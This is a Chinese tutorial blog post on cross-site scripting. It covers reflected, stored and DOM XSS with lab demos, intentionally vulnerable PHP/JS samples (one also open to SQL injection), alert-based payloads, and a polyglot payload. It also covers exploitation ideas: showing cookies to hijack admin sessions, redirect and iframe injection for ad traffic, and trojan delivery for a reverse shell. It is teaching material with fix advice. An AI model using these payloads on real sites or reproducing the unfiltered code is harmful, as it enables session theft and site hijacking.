ICode9

精准搜索请尝试: 精确搜索
首页 > 其他分享> 文章详细

XSS详解

2022-01-19 21:03:30  阅读:137  来源: 互联网

标签:XSS DOM 代码 详解 Cookie payload 页面


0x00-引言


沉淀一下基础

0x01-漏洞描述


XSS:跨站脚本(Cross-Site Scripting)。是一种针对网站应用程序的安全漏洞攻击技术,是代码注入的一种。它允许恶意用户将代码注入网页,其他用户在浏览网页时会受到影响。恶意用户利用XSS代码攻击成功后,可能得到很高的权限,执行一些操作,私密网页内容,会话和cookie等各种内容。《Web安全攻防:渗透测试实战指南》

0x02-漏洞原理


01-反射性XSS

反射性XSS又称非持久型XSS,攻击具有一次性

image-20220117110223931

02-存储型XSS

存储型XSS又称持久性XSS,攻击脚本将被永久地放在目标服务器的数据库或文件中,具有很高的隐蔽性。

image-20220117110803989

03-DOM型XSS

DOM全称Document Object Model,使用DOM可以使程序动态的访问和更新的内容、结构及样式

DOM型XSS其实是一种特殊类型的反射性XSS,它是基于DOM文档对象模型的一种漏洞。

DOM型数据流向:前端-->浏览器

HTML DOM树:

image-20220117150020200

0x03-漏洞演示


靶场phpstudy + MS08067

01-反射性XSS

打开靶场

image-20220117154532630

找到输入框,检查页面元素,构造payload闭合input标签

"><script>alert(/xss/)</script>

<img src="1" one rror="alert(/xss/)">

image-20220117154906617

image-20220117154916027

可以看到页面中已经插入也弹出payload

02-反射性XSS代码分析
<html>
<head>
	<meta http-equiv="Content-Type" content="text/html;charset=utf-8" />
	<title>XSS利用输出的环境来构造代码</title>
</head>
<body>
	<center>
	<h6>把我们输入的字符串 输出到input里的value属性里</h6>
	<form action="" method="get">
		<h6>请输入你想显现的字符串</h6>
		<input type="text" name="xss_input_value" value="输入"><br />
		<input type="submit">
	</form>
	<hr>
	<?php
		if (isset($_GET['xss_input_value'])) {
			echo '<input type="text" value="'.$_GET['xss_input_value'].'">';
		}else{
			echo '<input type="text" value="输出">';
		}
	?>
	</center>
</body>
</html>

看到后端获取输入框内的值,之后echo输出,我们构造的payload把input标签闭合了,之后会执行构造的payload中的标签,后端代码没有过滤机制

03-存储型XSS

打开靶场

image-20220117161729443

在标题处添加payload-提交

<img src=1 one rror="alert(/xss/)">

查看数据库-插入成功

image-20220117161905171

刷新页面-有点慢-等待ing

image-20220117162033021

04-存储型XSS代码分析
<html>
<head>
	<meta http-equiv="Content-Type" content="text/html;charset=utf-8" />
	<title>留言板</title>
</head>
<body>
	<center>
	<h6>输入留言内容</h6>
	<form action="" method="post">
		标题:<input type="text" name="title"><br />
		内容:<textarea name="content"></textarea><br />
		<input type="submit">
	</form>
	<hr>
	<?php

		$con=mysqli_connect("localhost","root","root","test");
		if (mysqli_connect_errno())
		{
			echo "连接失败: " . mysqli_connect_error();
		}
		if (isset($_POST['title'])) {
			$result1 = mysqli_query($con,"insert into xss(`title`, `content`) VALUES ('".$_POST['title']."','".$_POST['content']."')");
		}

		$result2 = mysqli_query($con,"select * from xss");

		echo "<table border='1'><tr><td>标题</td><td>内容</td></tr>";
		while($row = mysqli_fetch_array($result2))
		{
			echo "<tr><td>".$row['title'] . "</td><td>" . $row['content']."</td>";
		}
		echo "</table>";
	?>
	</center>
</body>
</html>

像存数据一样存入数据库-没有任何过滤机制

刷新页面,数据就会从数据库中取出来显示在页面中,又因为我们在其中插入alert,所以页面会出现弹窗

05-DOM型XSS

打开靶场

image-20220117163914798

插入payload <img src=1 one rror=alert(/xss/)>

弹出成功

image-20220117164010455

可以看到页面元素中已经出现img标签

06-DOM型源码分析
<html>
<head>
	<meta http-equiv="Content-Type" content="text/html;charset=utf-8" />
	<title>Test</title>
	<script type="text/javascript">
		function tihuan(){
			document.getElementById("id1").innerHTML = document.getElementById("dom_input").value;
		}
	</script>
</head>
<body>
	<center>
	<h6 id="id1">这里会显示输入的内容</h6>
	<form action="" method="post">
		<input type="text" id="dom_input" value="输入"><br />
		<input type="button" value="替换" onclick="tihuan()">
	</form>
	<hr>
	
	</center>
</body>
</html>

没有涉及到后端代码-一切都是前端的错

接收到id1,js函数直接替换id1的值然后浏览器会显示弹窗

0x04-XSS利用方式


01-获取Cookie

获取Cookie可以做未授权的非法操作

可以利用XSS平台接收Cookie

这里我们直接弹出Cookie

<img src=1 one rror="alert(document.cookie)">

image-20220119160111642

firefox插件Cookie Editor可以编辑Cookie,获取到的Cookie填入,即可以管理员的身份登录

02-获取流量-广告传播
<script type="text/javascript">window.location.href="跳转的目的地址";</script>
<script type="text/javascript">window. location.replace("跳转的目的地址");</script>
<script type="text/javascript">window. location.assign("跳转的目的地址");</script>

<script type="text/javascript">
  function jumurl(){
  window.location.href = 'https://www.baidu.com';
  }
  setTimeout(jumurl,3000);
</script>

结合存储型XSS,只要用户访问页面就直接跳转到目的页面,用来骗取流量和广告传播

也可以在页面插入广告链接

<script>document.writeln("<iframe scrolling='no' frameborder='0' marginheight='0' marginwidth='0' width='2000' height='5000' allowTransparency src=目的地址></iframe>");</script>
03-挂马

使用MSF生成木马URL,结合存储型XSS挂到网站上面,用户点击,用户主机如果存在该木马对应的漏洞则会反弹shell

0x05-XSS修复建议


  • 添加HttpOnly,JS就读取不到Cookie
  • 对输入的数据进行过滤,不能相信用户的输入,如> < " '
  • 对输出到页面的数据进行编码,如html编码,js编码

0x06-XSS常用PAYLOAD


//非常牛的一句payload
jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e

xss payload大全

0x07-参考


XSS漏洞利用方式汇总

《Web安全攻防:渗透测试实战指南》

《Web安全深度剖析》

标签:XSS,DOM,代码,详解,Cookie,payload,页面
来源: https://www.cnblogs.com/peace-and-romance/p/15824058.html

本站声明: 1. iCode9 技术分享网(下文简称本站)提供的所有内容,仅供技术学习、探讨和分享;
2. 关于本站的所有留言、评论、转载及引用,纯属内容发起人的个人观点,与本站观点和立场无关;
3. 关于本站的所有言论和文字,纯属内容发起人的个人观点,与本站观点和立场无关;
4. 本站文章均是网友提供,不完全保证技术分享内容的完整性、准确性、时效性、风险性和版权归属;如您发现该文章侵犯了您的权益,可联系我们第一时间进行删除;
5. 本站为非盈利性的个人网站,所有内容不会用来进行牟利,也不会利用任何形式的广告来间接获益,纯粹是为了广大技术爱好者提供技术内容和技术思想的分享性交流网站。

专注分享技术,共同学习,共同进步。侵权联系[81616952@qq.com]

Copyright (C)ICode9.com, All Rights Reserved.

ICode9版权所有